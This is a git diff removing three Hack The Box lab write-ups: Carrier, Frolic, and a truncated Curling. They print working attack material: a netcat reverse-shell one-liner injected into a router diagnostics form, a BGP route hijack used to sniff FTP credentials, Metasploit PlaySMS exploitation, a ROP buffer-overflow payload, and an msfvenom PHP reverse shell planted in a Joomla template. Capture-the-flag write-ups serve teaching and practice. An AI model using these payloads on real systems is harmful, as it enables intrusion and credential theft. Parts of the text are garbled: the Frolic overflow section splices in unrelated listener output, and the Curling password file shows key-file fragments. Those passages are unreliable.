-There's a `/tools` directorry that contains a `remote.php` file but it doesn't do anything because the license is expired: - -![remote.php](/assets/images/htb-writeup-carrier/remote.png) - -Inside the `/doc` directory there are two files: - -![/doc](/assets/images/htb-writeup-carrier/doc.png) - -The `diagram_for_tac.png` file contains a network diagram showing 3 different BGP autonomous systems (the initial foothold is in AS100). - -![Network diagram](/assets/images/htb-writeup-carrier/diagram_for_tac.png) - -The `error_code.pdf` file contains a list of error codes: - -![Error codes](/assets/images/htb-writeup-carrier/errorcodes.png) - -If we cross reference the two codes from the main login page: - - We see that the license is now invalid/expired - - The default `admin` account uses the serial number of the device (which we don't have yet) - -### SNMP enumeration - -By querying the box with the default `public` SNMP community string, we can find the serial number of the device. This type of information is often found in SNMP mibs on network devices. - -``` -root@violentunicorn:~# snmp-check 10.10.10.105 -snmp-check v1.9 - SNMP enumerator -Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org) - -[+] Try to connect to 10.10.10.105:161 using SNMPv1 and community 'public' - -[*] System information: - - Host IP address : 10.10.10.105 - Hostname : - - Description : - - Contact : - - Location : - - Uptime snmp : - - Uptime system : - - System date : - - -root@violentunicorn:~# snmpwalk -v1 -c public 10.10.10.105 -iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23" -End of MIB -``` -The serial number is: `NET_45JDX23` - -We can now log in to the website using username `admin` and password `NET_45JDX23`. - -### Dashboard - -The main dashboard page indicates that the system is in read-only mode since the license is expired. - -It also indicates that the router config will be reverted every 10 minutes (this is done on purpose to make sure we don't lose access to the box if someone messes up the router configuration). - -![Dashboard](/assets/images/htb-writeup-carrier/dashboard.png) - -### Tickets - -The tickets section contains a hint about what we need to do once we get access to the router (more on that in the next section) - -![Tickets](/assets/images/htb-writeup-carrier/tickets.png) - -Ticket #6 contains the hint: - -> ... one of their VIP is having issues connecting by FTP to an important server in the 10.120.15.0/24 network - -So it seems that there's something important on the 10.120.15.0/24 network. The ticket indicates the user is using the unencrypted FTP protocol so we'll be able to sniff the credentials if we can redirect traffic through the router. - -### Diagnostics command injection - -Based on the output we see when we click on the `Verify status` button, we can see that it's running `ps` grepped with `quagga`. It's actually running the command on the `r1` router since the `web` server builds an ssh connection to `r1` first then runs the command there. - -![Diagnostics](/assets/images/htb-writeup-carrier/diag.png) - -The HTML on the diagnostics page contains a base64 encoded value in the `check` field: - -![HTML source](/assets/images/htb-writeup-carrier/source.png) - -The hidden field `cXVhZ2dh` base64 decodes to `quagga`. We can control the grep parameter by modifying the `check` parameter in the HTTP POST request and gain code execution. - -For `check`, we will use the `; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 4444 >/tmp/f` value encoded in base64: - -![RCE](/assets/images/htb-writeup-carrier/injection.png) - -We then get a reverse shell using netcat: - -``` -root@violentunicorn:~# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.105] 48918 -/bin/sh: 0: can't access tty; job control turned off -# python3 -c 'import pty;pty.spawn("/bin/bash")' -root@r1:~# id -id -uid=0(root) gid=0(root) groups=0(root) -root@r1:~# ls -ls -test_intercept.pcap user.txt -root@r1:~# cat user.txt -cat user.txt -5649c4... -``` - -### BGP hijacking - -So, there's a user on AS200 connecting to a server on the 10.120.15.0/24 network (the server is 10.120.15.10, which is the IP address of the lxdbr1 interface on the host OS). We can't initially see his traffic because the traffic is sent directly from AS200 to AS300 (we are on AS100). - -![](/assets/images/htb-writeup-carrier/mitm.png) - -The idea is to inject a more specific routes for the 10.120.15.0/24 network so the `r2` router will send traffic to us at `r1`. Then once we get the traffic we'll send it back out towards `r3` because we already have a BGP route from `r3` for the 10.120.15.0/24 network - -There's a small twist to this: when we send the more specific route (we can use a /25 or anything smaller than a /24), we must ensure that this route is not sent from `r2` to `r3` otherwise `r3` will blackhole traffic towards the router since it received a more specific route. To do this, we can add the `no-export` BGP community to the route sent to `r2`, so the route won't be re-advertised to other systems. - -We can see below that the best route for the `10.120.15.0/24` network is from AS 300 (10.78.11.2): - -``` -root@r1:~# vtysh - -Hello, this is Quagga (version 0.99.24.1). -Copyright 1996-2005 Kunihiro Ishiguro, et al. - -r1# show ip bgp summ -show ip bgp summ -BGP router identifier 10.255.255.1, local AS number 100 -RIB entries 53, using 5936 bytes of memory -Peers 2, using 9136 bytes of memory - -Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down State/PfxRcd -10.78.10.2 4 200 4 7 0 0 0 00:00:14 22 -10.78.11.2 4 300 4 10 0 0 0 00:00:11 22 - -Total number of neighbors 2 - -r1# show ip bgp 10.120.15.0/24 -show ip bgp 10.120.15.0/24 -BGP routing table entry for 10.120.15.0/24 -Paths: (2 available, best #1, table Default-IP-Routing-Table) - Advertised to non peer-group peers: - 10.78.10.2 - 300 - 10.78.11.2 from 10.78.11.2 (10.255.255.3) - Origin IGP, metric 0, localpref 100, valid, external, best - Last update: Tue Jul 3 03:40:17 2018 - - 200 300 - 10.78.10.2 from 10.78.10.2 (10.255.255.2) - Origin IGP, localpref 100, valid, external - Last update: Tue Jul 3 03:40:14 2018 -``` - -We'll change the route-map to add `no-export` to routes sent to AS200, then advertise the `10.120.15.0/25` network: - -``` -r1# conf t -r1(config)# ip prefix-list leak permit 10.120.15.0/25 -r1(config)# ! -r1(config)# route-map to-as200 permit 10 -r1(config-route-map)# match ip address prefix-list leak -r1(config-route-map)# set community no-export -r1(config-route-map)# ! -r1(config-route-map)# route-map to-as200 permit 20 -r1(config-route-map)# ! -r1(config-route-map)# route-map to-as300 deny 10 -r1(config-route-map)# match ip address prefix-list leak -r1(config-route-map)# ! -r1(config-route-map)# route-map to-as300 permit 20 -r1(config-route-map)# ! -r1(config-route-map)# router bgp 100 -r1(config-router)# network 10.120.15.0 mask 255.255.255.128 -r1(config-router)# end -r1# -``` - -After changing the route-map, we can issue a `clear ip bgp * out` to refresh the outbound filter policies without resetting the entire BGP adjacency. We can see now that we are sending the /25 route towards AS200: - -``` -r1# show ip bgp nei 10.78.10.2 advertised-routes -BGP table version is 0, local router ID is 10.255.255.1 -Status codes: s suppressed, d damped, h history, * valid, > best, = multipath, - i internal, r RIB-failure, S Stale, R Removed -Origin codes: i - IGP, e - EGP, ? - incomplete - - Network Next Hop Metric LocPrf Weight Path -*> 10.120.15.0/25 10.78.10.1 0 32768 i -``` - -### Packet capture FTP session to the server 10.120.15.10 - -Since we have now injected a more specific route for the `10.120.15.0/24` network, AS200 will send traffic to us (AS100) when trying to reach `10.120.15.10`. Then `r1` will send the traffic back out `eth2` towards AS300. - -We can sniff the traffic using tcpdump and we see that a user logs in to 10.120.15.10 using FTP, and we can see his credentials: - -``` -root@r1:~# tcpdump -vv -s0 -ni eth2 -c 10 port 21 -tcpdump: listening on eth2, link-type EN10MB (Ethernet), capture size 262144 bytes -[...] -13:53:01.528076 IP (tos 0x10, ttl 63, id 11657, offset 0, flags [DF], proto TCP (6), length 63) - 10.78.10.2.50692 > 10.120.15.10.21: Flags [P.], cksum 0x2e03 (incorrect -> 0x75af), seq 1:12 - USER root -[...] -13:53:01.528248 IP (tos 0x10, ttl 63, id 11658, offset 0, flags [DF], proto TCP (6), length 74) - 10.78.10.2.50692 > 10.120.15.10.21: Flags [P.], cksum 0x2e0e (incorrect -> 0xa290), seq 12:34 - PASS BGPtelc0rout1ng -``` - -### Logging to the server with root credentials and getting the system flag - -Note: We can log in directly from the HTB network to the box IP with the FTP credentials, but in this example we'll log in from `r1`. We have to first enable an interactive pty so we can SSH. - -``` -# python3 -c 'import pty;pty.spawn("/bin/bash")' -root@r1:~# ssh root@10.120.15.10 -root@10.120.15.10's password: BGPtelc0rout1ng - -Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage -[...] - -root@carrier:~# ls -ls -root.txt secretdata.txt -root@carrier:~# cat root.txt - -cat root.txt -2832e... -``` diff --git a/_posts/2019-03-23-htb-writeup-frolic.md b/_posts/2019-03-23-htb-writeup-frolic.md deleted file mode 100644 index d766345d54..0000000000 --- a/_posts/2019-03-23-htb-writeup-frolic.md +++ /dev/null @@ -1,428 +0,0 @@ ---- -layout: single -title: Frolic - Hack The Box -excerpt: This is the writeup for Frolic, a CTF-like machine with esoteric programming languages and a nice priv esc that requires binary exploitation. -date: 2019-03-23 -classes: wide -header: - teaser: /assets/images/htb-writeup-frolic/frolic_logo.png -categories: - - hackthebox - - infosec -tags: - - metasploit - - esoteric language - - ctf - - rop - - buffer overflow - - binary exploitation ---- - -![](/assets/images/htb-writeup-frolic/frolic_logo.png) - -Frolic had a pretty straightforward user access part where after minimal enumeration we could find the password for the PlaySMS application obfuscated a couple of times with some esoteric languages and other things. The PlaySMS application which we could access with the password was directly exploitable from Metasploit without any effort. - -The priv esc had a buffer overflow in a SUID binary that we had to exploit using a ROP gadget from the libc library. I discovered the very cool [one_gadget](https://github.com/david942j/one_gadget) tool while doing this box. - -## Quick summary - -- PlaySMS is installed and vulnerable to a bug which we can exploit with Metasploit (needs to be authenticated) -- The credentials for PlaySMS are found in an encrypted zip file, which is encoded in Brainfuck, obfuscated in some random directory, then further obfuscated with Ook esoteric programming language -- The priv esc is a SUID binary which we can ROP with one_gadget (ASLR is disabled) - -### Tools used - -- [OOK! Language decoder](https://www.dcode.fr/ook-language) -- [Brainfuck Language decoder](https://www.dcode.fr/brainfuck-language) -- [one_gadget](https://github.com/david942j/one_gadget) - -### Nmap - -The enumeration shows Node-RED, an Nginx server on a non-standard port, Samba and SSH. - -``` -# Nmap 7.70 scan initiated Sat Oct 13 15:01:02 2018 as: nmap -p- -sC -sV -oA frolic 10.10.10.111 -Nmap scan report for frolic.htb (10.10.10.111) -Host is up (0.018s latency). -Not shown: 65530 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) -| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) -|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) -139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) -445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) -1880/tcp open http Node.js (Express middleware) -|_http-title: Node-RED -9999/tcp open http nginx 1.10.3 (Ubuntu) -|_http-server-header: nginx/1.10.3 (Ubuntu) -|_http-title: Welcome to nginx! -Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel - -Host script results: -|_clock-skew: mean: -1h55m33s, deviation: 3h10m31s, median: -5m33s -|_nbstat: NetBIOS name: FROLIC, NetBIOS user: , NetBIOS MAC: (unknown) -| smb-os-discovery: -| OS: Windows 6.1 (Samba 4.3.11-Ubuntu) -| Computer name: frolic -| NetBIOS computer name: FROLIC\x00 -| Domain name: \x00 -| FQDN: frolic -|_ System time: 2018-10-14T00:26:00+05:30 -| smb-security-mode: -| account_used: guest -| authentication_level: user -| challenge_response: supported -|_ message_signing: disabled (dangerous, but default) -| smb2-security-mode: -| 2.02: -|_ Message signing enabled but not required -| smb2-time: -| date: 2018-10-13 14:56:00 -|_ start_date: N/A - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -# Nmap done at Sat Oct 13 15:01:34 2018 -- 1 IP address (1 host up) scanned in 32.59 seconds -``` - -### Node-RED - -There's a Node-RED server running on port 1880 but when we try to log in with the `admin / password` credentials it just hangs and times out. - -![](/assets/images/htb-writeup-frolic/nodered.png) - -### Nginx webserver - -The default nginx page is shown. - -![](/assets/images/htb-writeup-frolic/nginx.png) - -Next, we'll dirbust the site. - -``` -root@ragingunicorn:~# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -u http://frolic.htb:9999 - -===================================================== -Gobuster v2.0.0 OJ Reeves (@TheColonial) -===================================================== -[+] Mode : dir -[+] Url/Domain : http://frolic.htb:9999/ -[+] Threads : 50 -[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/big.txt -[+] Status codes : 200,204,301,302,307,403 -[+] Timeout : 10s -===================================================== -2018/10/13 15:03:06 Starting gobuster -===================================================== -/.htpasswd (Status: 403) -/.htaccess (Status: 403) -/admin (Status: 301) -/backup (Status: 301) -/dev (Status: 301) -/loop (Status: 301) -/test (Status: 301) -===================================================== -2018/10/13 15:03:19 Finished -===================================================== -``` - -The `/admin` link contains a login form: - -![](/assets/images/htb-writeup-frolic/loginform.png) - -All the authentication is done client-side with javascript code. Looking at the source code we can see the password: `superduperlooperpassword_lol` - -```js -var attempt = 3; // Variable to count number of attempts. -// Below function Executes on click of login button. -function validate(){ -var username = document.getElementById("username").value; -var password = document.getElementById("password").value; -if ( username == "admin" && password == "superduperlooperpassword_lol"){ -alert ("Login successfully"); -window.location = "success.html"; // Redirecting to other page. -return false; -} -else{ -attempt --;// Decrementing by one. -alert("You have left "+attempt+" attempt;"); -// Disabling fields after 3 attempts. -if( attempt == 0){ -document.getElementById("username").disabled = true; -document.getElementById("password").disabled = true; -document.getElementById("submit").disabled = true; -return false; -} -} -} -``` - -We don't even need to log in, we can browse to `success.html` directly. - -![](/assets/images/htb-writeup-frolic/cipher1.png) - -The page contains some kind of ciphertext: - -``` -..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?. -``` - -This is actually an esoteric programming language: [Ook!](https://esolangs.org/wiki/ook!) - -We can use [dcode.fr](https://www.dcode.fr/ook-language) to find the plaintext. - -``` -Nothing here check /asdiSIAJJ0QWE9JAS -``` - -This contains yet another encoded blob of text: - -![](/assets/images/htb-writeup-frolic/cipher2.png) - -``` -UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA -``` - -When we base64 decode it, we see the PKZIP magic bytes `PK`. - -``` -root@ragingunicorn:~/frolic# base64 -d stuff.b64 -PK É7M#[i index.phpUT |[|[ux - ^DJsh) -root@ragingunicorn:~/frolic# base64 -d stuff.b64 > stuff.zip -``` - -The zip file is encrypted, after the first guess I found the password is `password`: - -``` -root@ragingunicorn:~/frolic# unzip stuff.zip -Archive: stuff.zip -[stuff.zip] index.php password: - inflating: index.php -``` - -More encoded text... - -``` -root@ragingunicorn:~/frolic# cat index.php -4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a -``` - -![](/assets/images/htb-writeup-frolic/cipher3.png) - -The following is the Brainfuck esoteric programming language: - -``` -+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+ -++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->--- -<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]> -++..< -``` - -Again, we use [dcode.fr](https://www.dcode.fr/brainfuck-language) to find the plaintext: - -``` -idkwhatispass -``` - -### PlaySMS and shell access - -The `http://frolic.htb:9999/dev/backup/` link contains a reference to `/playsms` - -The playSMS application seems to be installed on the server: - -![](/assets/images/htb-writeup-frolic/playsms1.png) - -We can log in using `admin` / `idkwhatispass`. - -![](/assets/images/htb-writeup-frolic/playsms2.png) - -We have two potential vulnerabilities we can use with Metasploit: - -``` -root@ragingunicorn:~/frolic# searchsploit playsms -PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit) | exploits/php/remote/44598.rb -PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | exploits/php/webapps/42003.txt -PlaySMS 1.4 - 'import.php' Remote Code Execution | exploits/php/webapps/42044.txt -PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit) | exploits/php/remote/44599.rb -``` - -We can use the `playsms_uploadcsv_exec` module to get a shell: - -``` -msf exploit(multi/http/playsms_uploadcsv_exec) > show options - -Module options (exploit/multi/http/playsms_uploadcsv_exec): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - PASSWORD idkwhatispass yes Password to authenticate with - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOST 10.10.10.111 yes The target address - RPORT 9999 yes The target port (TCP) - SSL false no Negotiate SSL/TLS for outgoing connections - TARGETURI /playsms yes Base playsms directory path - USERNAME admin yes Username to authenticate with - VHOST no HTTP server virtual host - - -Payload options (php/meterpreter/reverse_tcp): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 10.10.14.23 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 PlaySMS 1.4 -``` - -``` -msf exploit(multi/http/playsms_uploadcsv_exec) > run - -[*] Started reverse TCP handler on 10.10.14.23:4444 -[+] Authentication successful: admin:idkwhatispass -[*] Sending stage (37775 bytes) to 10.10.10.111 -[*] Meterpreter session 3 opened (10.10.14.23:4444 -> 10.10.10.111:52952) at 2018-10-13 17:12:46 -0400 - -meterpreter > shell -Process 1785 created. -Channel 0 created. -whoami -www-data -``` - -Found user flag: - -``` -cd /home -ls -l -total 8 -drwxr-xr-x 3 ayush ayush 4096 Sep 25 02:00 ayush -drwxr-xr-x 7 sahay sahay 4096 Sep 25 02:45 sahay -cd ayush -cat user.txt -2ab959... -``` - -### Priv esc - -Found our priv esc vector here: **/home/ayush/.binary/rop** - -``` -www-data@frolic:~$ find / -perm /4000 2>/dev/null -find / -perm /4000 2>/dev/null -/sbin/mount.cifs -/bin/mount -/bin/ping6 -/bin/fusermount -/bin/ping -/bin/umount -/bin/su -/bin/ntfs-3g -/home/ayush/.binary/rop -``` - -There's obviously a buffer overflow in the binary, as shown below: - - -``` -www-data@frolic:~$ /home/ayush/.binary/rop -/home/ayush/.binary/rop -[*] Usage: program -www-data@frolic:~$ /home/ayush/.binary/rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - libc -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.111] 59480 -root@ragingunicorn:~/frolic# one_gadget -f libc rop -0x3ac5c execve("/bin/sh", esp+0x28, environ) -constraints: - esi is the GOT address of libc - [esp+0x28] == NULL -``` - -We found a gadget at `0x3ac5c` that'll give us a nice shell! - -We also need libc's base address (which doesn't change since ASLR is disabled): - -``` -www-data@frolic:/home/ayush$ ldd /home/ayush/.binary/rop -ldd /home/ayush/.binary/rop - linux-gate.so.1 => (0xb7fda000) - libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000) - /lib/ld-linux.so.2 (0xb7fdb000) -``` - -Base address is : `0xb7e19000` - -To construct the final exploit, we write a simple script that'll squash the $RIP register with the memory address of the gadget that spawns `/bin/sh`: - -```python -from pwn import * - -payload = "A" * 52 + p32(0xb7e19000+0x3ac5c) - -print payload -``` - -We can run the exploit locally to generate a `payload` file which we then transfer to the target system and pipe into the target binary: - -``` -www-data@frolic:/dev/shm$ /home/ayush/.binary/rop $(cat payload) -/home/ayush/.binary/rop $(cat payload) -# cd /root -cd /root -# cat root.txt -cat root.txt -85d3fd... -``` \ No newline at end of file diff --git a/_posts/2019-03-30-htb-writeup-curling.md b/_posts/2019-03-30-htb-writeup-curling.md deleted file mode 100644 index ccadc33e9a..0000000000 --- a/_posts/2019-03-30-htb-writeup-curling.md +++ /dev/null @@ -1,304 +0,0 @@ ---- -layout: single -title: Curling - Hack The Box -excerpt: This is the writeup for Curling, a pretty easy box with Joomla running. We can log in after doing basic recon and some educated guessing of the password. -date: 2019-03-30 -classes: wide -header: - teaser: /assets/images/htb-writeup-curling/curling_logo.png -categories: - - hackthebox - - infosec -tags: - - joomla - - ctf - - cron - - php - - easy ---- - -![](/assets/images/htb-writeup-curling/curling_logo.png) - -## Quick summary - -- The username for the Joomla site is `Floris` as indicated on the main page in one of the post -- The password is a variant of a word on the main page: `Curling2018!` -- On the Joomla admin page we can inject a meterpreter reverse shell in the `index.php` file of the template in-use -- After getting a shell, we can download a password backup file, which is compressed several times, and contains the password for user `floris` -- User `floris` controls a `input` file used by `curl` running in a root cronjob. We can change the config file so that cURL gets our SSH public key and saves it into the root ssh directory - -### Nmap - -Just a webserver running Joomla on port 80 - -``` -root@ragingunicorn:~/hackthebox/Machines# nmap -sV -sV curling.htb -Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-27 16:22 EDT -Nmap scan report for curling.htb (10.10.10.150) -Host is up (0.020s latency). -Not shown: 998 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 7.29 seconds -``` - -### Joomla - -Joomscan didn't return anything interesting but the main page has some interesting stuff: - -1. The site name is **Cewl Curling site!**, this is a reference to the cewl tool used to scrape websites for words which are then used to build wordlists. - -2. The first post reveals the username for the administrator: `Floris` - -3. The first post also contains something which could be used as a password: `curling2018` - -![](/assets/images/htb-writeup-curling/credentials.png) - -After trying a few variants of the password, I was able to log in as user `Floris` with the password `Curling2018!` - -We can now access the administrator page at [http://curling.htb/administrator/index.php](http://curling.htb/administrator/index.php) - -I generated a simple PHP meterpreter payload: - -``` -root@ragingunicorn:~/htb/curling# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.23 LPORT=4444 > shell.php -[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload -[-] No arch selected, selecting arch: php from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 1112 bytes -``` - -Then I added it to the index.php page so i could trigger it by browsing the main page: - -![](/assets/images/htb-writeup-curling/php.png) - -``` -msf exploit(multi/handler) > show options - -Module options (exploit/multi/handler): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - - -Payload options (php/meterpreter/reverse_tcp): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST tun0 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 Wildcard Target - - -msf exploit(multi/handler) > run - -[*] Started reverse TCP handler on 10.10.14.23:4444 -``` - -Getting a shell: - -``` -[*] Started reverse TCP handler on 10.10.14.23:4444 -[*] Sending stage (37775 bytes) to 10.10.10.150 -[*] Meterpreter session 1 opened (10.10.14.23:4444 -> 10.10.10.150:56220) at 2018-10-27 16:33:27 -0400 - -meterpreter > sessions 1 -[*] Session 1 is already interactive. -meterpreter > shell -Process 2047 created. -Channel 0 created. -id -uid=33(www-data) gid=33(www-data) groups=33(www-data) -``` - -### Escalate to user Floris - -User `floris` has a readable file `password_backup` - -``` -cd /home/floris -ls -admin-area -password_backup -user.txt -cat password_backup -00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. -00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 -00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` -00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... -00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. -00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 -00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. -00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x -00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 -00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." -000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. -000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. -000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C -000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. -000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. -000000f0: 819b bb48 ...H -``` - -This appears to be a bzip2 file but we need to put it back in binary format first, we'll use CyberChef for this: - -![](/assets/images/htb-writeup-curling/cyberchef.png) - -We just hit the *Save to output file* icon to download the `download.dat` file in binary format. - -Confirmed, this is a bzip2 file: - -``` -root@ragingunicorn:~/Downloads# file download.dat -download.dat: bzip2 compressed data, block size = 900k -``` - -Let's decompress it... - -``` -root@ragingunicorn:~/Downloads# bzip2 -d download.dat -bzip2: Can't guess original name for download.dat -- using download.dat.out -root@ragingunicorn:~/Downloads# file download.dat.out -download.dat.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size 141 -``` - -Geez, another compressed file in it! - -``` -root@ragingunicorn:~/Downloads# mv download.dat.out download.gz -root@ragingunicorn:~/Downloads# gunzip download.gz -root@ragingunicorn:~/Downloads# file download -download: bzip2 compressed data, block size = 900k -``` - -Now, this is just dumb... - -``` -root@ragingunicorn:~/Downloads# mv download password.bz2 -root@ragingunicorn:~/Downloads# bzip2 -d password.bz2 -root@ragingunicorn:~/Downloads# file password -password: POSIX tar archive (GNU) -``` - -Let's keep going. - -``` -root@ragingunicorn:~/Downloads# tar xvf password.tar -password.txt -root@ragingunicorn:~/Downloads# cat password.txt -5d .ssh/authorized_keys - .ssh/authorized_keys -``` - -In `admin-area` folder, there are two files with a timestamp that keeps refreshing every few minutes: - -``` -floris@curling:~/admin-area$ ls -la -total 12 -drwxr-x--- 2 root floris 4096 May 22 19:04 . -drwxr-xr-x 7 floris floris 4096 Oct 27 20:39 .. --rw-rw---- 1 root floris 25 Oct 27 20:40 input --rw-rw---- 1 root floris 0 Oct 27 20:40 report -floris@curling:~/admin-area$ date -Sat Oct 27 20:40:44 UTC 2018 -``` - -There is probably a cron job running as root, let's confirm this by running a simple `ps` command in a bash loop: - -``` -floris@curling:~/admin-area$ while true; do ps waux | grep report | grep -v "grep 